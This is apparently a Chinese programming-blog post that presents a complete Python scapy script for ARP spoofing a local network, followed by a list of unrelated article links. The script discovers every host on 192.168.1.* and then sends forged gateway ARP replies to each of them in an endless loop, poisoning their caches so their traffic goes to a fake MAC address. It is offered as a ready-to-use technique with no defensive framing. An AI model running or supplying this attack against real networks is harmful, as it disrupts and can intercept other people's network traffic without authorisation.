python使用arp欺骗伪造网关的方法


Posted in Python onApril 24, 2015

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
Python运用于数据分析的简单教程
Mar 27 Python
Python里disconnect UDP套接字的方法
Apr 23 Python
一篇文章入门Python生态系统(Python新手入门指导)
Dec 11 Python
Python数据类型学习笔记
Jan 13 Python
详解Python的Django框架中manage命令的使用与扩展
Apr 11 Python
对sklearn的使用之数据集的拆分与训练详解(python3.6)
Dec 14 Python
用python写一个定时提醒程序的实现代码
Jul 22 Python
Python threading的使用方法解析
Aug 28 Python
Python的控制结构之For、While、If循环问题
Jun 30 Python
常用的10个Python实用小技巧
Aug 10 Python
Python 列表推导式需要注意的地方
Oct 23 Python
Anaconda配置各版本Pytorch的实现
Aug 07 Python
python使用wxPython打开并播放wav文件的方法
Apr 24 #Python
python使用PyGame播放Midi和Mp3文件的方法
Apr 24 #Python
python使用PyGame绘制图像并保存为图片文件的方法
Apr 24 #Python
python使用PIL缩放网络图片并保存的方法
Apr 24 #Python
python使用Tkinter显示网络图片的方法
Apr 24 #Python
Python中最常用的操作列表的几种方法归纳
Apr 24 #Python
在Python中使用lambda高效操作列表的教程
Apr 24 #Python
You might like
详解php的魔术方法__get()和__set()使用介绍
2012/09/19 PHP
php使用curl和正则表达式抓取网页数据示例
2014/04/13 PHP
Yii控制器中filter过滤器用法分析
2016/07/15 PHP
YII框架中搜索分页jQuery写法详解
2016/12/19 PHP
PHP面向对象五大原则之接口隔离原则(ISP)详解
2018/04/04 PHP
PHP+MySQL实现在线测试答题实例
2020/01/02 PHP
js动态创建标签示例代码
2014/06/09 Javascript
浅析javascript中函数声明和函数表达式的区别
2015/02/15 Javascript
js跨域请求的5中解决方式
2015/07/02 Javascript
js绘制圆形和矩形的方法
2015/08/05 Javascript
实例详解Nodejs 保存 payload 发送过来的文件
2016/01/14 NodeJs
JavaScript正则表达式匹配 div  style标签
2016/03/15 Javascript
JavaScript中Form表单技术汇总(推荐)
2016/06/26 Javascript
Vue+SpringBoot开发V部落博客管理平台
2017/12/27 Javascript
vue文件运行的方法教学
2019/02/12 Javascript
微信小程序实现语音识别转文字功能及遇到的坑
2019/08/02 Javascript
js 根据对象数组中的属性进行排序实现代码
2019/09/12 Javascript
jQuery实现轮播图源码
2019/10/23 jQuery
如何优雅地处理Django中的favicon.ico图标详解
2018/07/05 Python
在Python dataframe中出生日期转化为年龄的实现方法
2018/10/20 Python
用pycharm开发django项目示例代码
2018/10/24 Python
python 图像平移和旋转的实例
2019/01/10 Python
关于python多重赋值的小问题
2019/04/17 Python
Python搭建Keras CNN模型破解网站验证码的实现
2020/04/07 Python
Python ConfigParser模块的使用示例
2020/10/12 Python
解决margin 外边距合并问题
2019/07/03 HTML / CSS
HTML5 video视频字幕的使用和制作方法
2018/05/03 HTML / CSS
Groupon西班牙官方网站:在线优惠券和交易,节省高达70%
2021/03/13 全球购物
大学生职业生涯设计书
2014/01/02 职场文书
大学自我评价
2014/02/12 职场文书
双语教学实施方案
2014/03/23 职场文书
社区居务公开实施方案
2014/03/27 职场文书
个人贷款担保书
2014/04/01 职场文书
标准毕业生自荐信
2014/06/24 职场文书
领导班子对照检查材料
2014/09/22 职场文书
引用计数法和root搜索算法以及JVM中判定对象需要回收的方法
2022/04/19 Java/Android